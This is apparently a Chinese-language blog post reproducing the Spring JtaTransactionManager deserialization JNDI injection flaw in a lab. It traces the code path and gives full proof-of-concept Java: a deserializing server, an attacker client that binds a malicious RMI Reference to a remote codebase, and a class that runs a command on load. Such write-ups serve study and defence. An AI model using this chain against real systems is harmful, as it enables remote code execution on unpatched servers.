Spring 反序列化JNDI注入漏洞

Spring 反序列化JNDI注入漏洞

环境搭建

直接用的Github的项目:https://github.com/zerothoughts/spring-jndi

下载到本地,导入maven项目即可。

同时,为了顺利复现漏洞,JDK要在以下的版本之下:8u121、7u131、6u141。在上述版本之后的JDK中,都增加了com.sun.jndi.rmi.object.trustURLCodebase选项,其默认禁止RMI和CORBA协议使用远程codebase的选项。

漏洞原理

这个漏洞归根到底就是用到了JNDI注入,Spring框架的JtaTransactionManager类中重写了readObject方法,这个方法最终会调用到JNDI中的lookup()方法,关键是里面的参数可控,这就导致了攻击者可以利用JNDI注入中的lookup()参数注入,传入恶意URI地址指向攻击者的RMI注册表服务,以使受害者客户端加载绑定在攻击者RMI注册表服务上的恶意类,从而实现远程代码执行。

代码分析

漏洞入口点在于org/springframework/transaction/jta/JtaTransactionManager.java中的readObject方法:

image-20220507210306088

跟入initUserTransactionAndTransactionManager方法:

image-20220507210409268

这里走到了this.lookupUserTransaction(this.userTransactionName);,其中的参数是userTransactionName,继续跟进:

image-20220507210709742

这里的getJndiTemplate方法用于获取this.jndiTemplate,而this.jndiTemplate在初始化时被赋值为JndiTemplate类的实例化对象。因此这里的lookup实际上调用的是JndiTemplate类中的方法,参数就是上一步传进来的userTransactionName,继续跟进:

image-20220507210850625

这里接着调用只有一个参数的lookup方法:

image-20220507211122562

这里的ctxInitialContext类的实例化对象。该类的lookup方法实现资源引用,我的理解是用来注册服务提供者所提供的服务。如果把rmi理解为封装协议的话,这里的lookup方法我们就可以理解为针对rmi协议发送请求并解析。

接下类后面的流程就是JNDI中的RMI注入了,过程简单描述一下:

  • Spring服务端从RMI的注册中心获取对象,该对象是攻击者预先设置好的ReferenceWrapper 对象;
  • Spring服务端开始从本地 CLASSPATH 中搜索 Reference 中的类,如果不存在则会从Reference中指定的classFactoryLocation(远程加载类的地址)上去尝试获取类文件,即动态的去获取 http://vps/xxxx.class
  • 最后由于RMI的机制还会对动态获取回来的类进行初始化,即调用其构造函数,由于这个类是攻击者构造好的,就能够实现构造函数中任意代码就执行。

所以,只要JtaTransactionManager类中userTransactionName属性可控,设定为指定的恶意RMI服务地址,那么能能够实现JNDI注入啦。

于是乎就找到了setUserTransactionName

image-20220507213207574

这方法是public的,能够让我们去外部调用控制其参数。

利用

为了方便,对上面环境的代码进行一些修改:

ExploitableServer.java:Spring服务端(受害者)

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.ObjectInputStream;
import java.net.ServerSocket;
import java.net.Socket;

public class ExploitableServer {
    public ExploitableServer() {
    }

    public static void main(String[] args) {
        try {
            ServerSocket serverSocket = new ServerSocket(1234);
            System.out.println("Server started on port " + serverSocket.getLocalPort());

            while(true) {
                Socket socket = serverSocket.accept();
                System.out.println("Connection received from " + socket.getInetAddress());
                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());

                try {
                    Object object = objectInputStream.readObject();
                    System.out.println("Read object " + object);
                } catch (Exception var5) {
                    System.out.println("Exception caught while reading object");
                    var5.printStackTrace();
                }
            }
        } catch (Exception var6) {
            var6.printStackTrace();
        }
    }
}

全网监听1234端口,将连接上来的Socket数据流内容进行反序列化操作即readObject()

ExploitClient.java:(攻击端)

import java.io.*;
import java.net.*;
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;


public class ExploitClient {
   public static void main(String[] args) {
      try {
         int port = 1234;
         String localAddress = "127.0.0.1";

         System.out.println("Creating RMI Registry");
            Registry registry = LocateRegistry.createRegistry(1099);
           Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://xxxx//");
         ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Object", referenceWrapper);


         Socket socket=new Socket(localAddress,port);
         System.out.println("Connected to server");
         String jndiAddress = "rmi://"+localAddress+":1099/Object";

         org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
         object.setUserTransactionName(jndiAddress);

         System.out.println("Sending object to server...");
         ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
         objectOutputStream.writeObject(object);
         objectOutputStream.flush();
         while(true) {
            Thread.sleep(1000);
         }
      } catch(Exception e) {
         e.printStackTrace();
      }
   }
}

先创建注册表并监听在默认的1099端口,然后使用RMI+Reference的方式将referenceWrapper注册到Registry中、其中注册名为Object,然后和目标服务器建立连接,接着新建org.springframework.transaction.jta.JtaTransactionManager实例并调用setUserTransactionName来设置JNDI要查找的RMI服务地址、这里为本程序开启的Registry服务中绑定的object,最后将这个实例对象序列化之后发送给服务端。

ExportObject.java

public class ExportObject {

   public ExportObject() throws Exception {
      String cmd="calc";
      Runtime.getRuntime().exec(cmd);
   }
}

Reference引用指向的恶意类,这里我们在构造方法中实现运行计算器的功能。

ExportObject.java放置于公网服务器上,编译为class字节码文件。这里不知道为什么我在本地起的http服务URLClassLoader无法加载到这字节码,知道原因的师傅能分享下为吗。

image-20220507214646092

参考资料

Spring Deserialize RCE(JNDI Inject)

由JNDI注入引发的Spring Framework反序列化漏洞

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇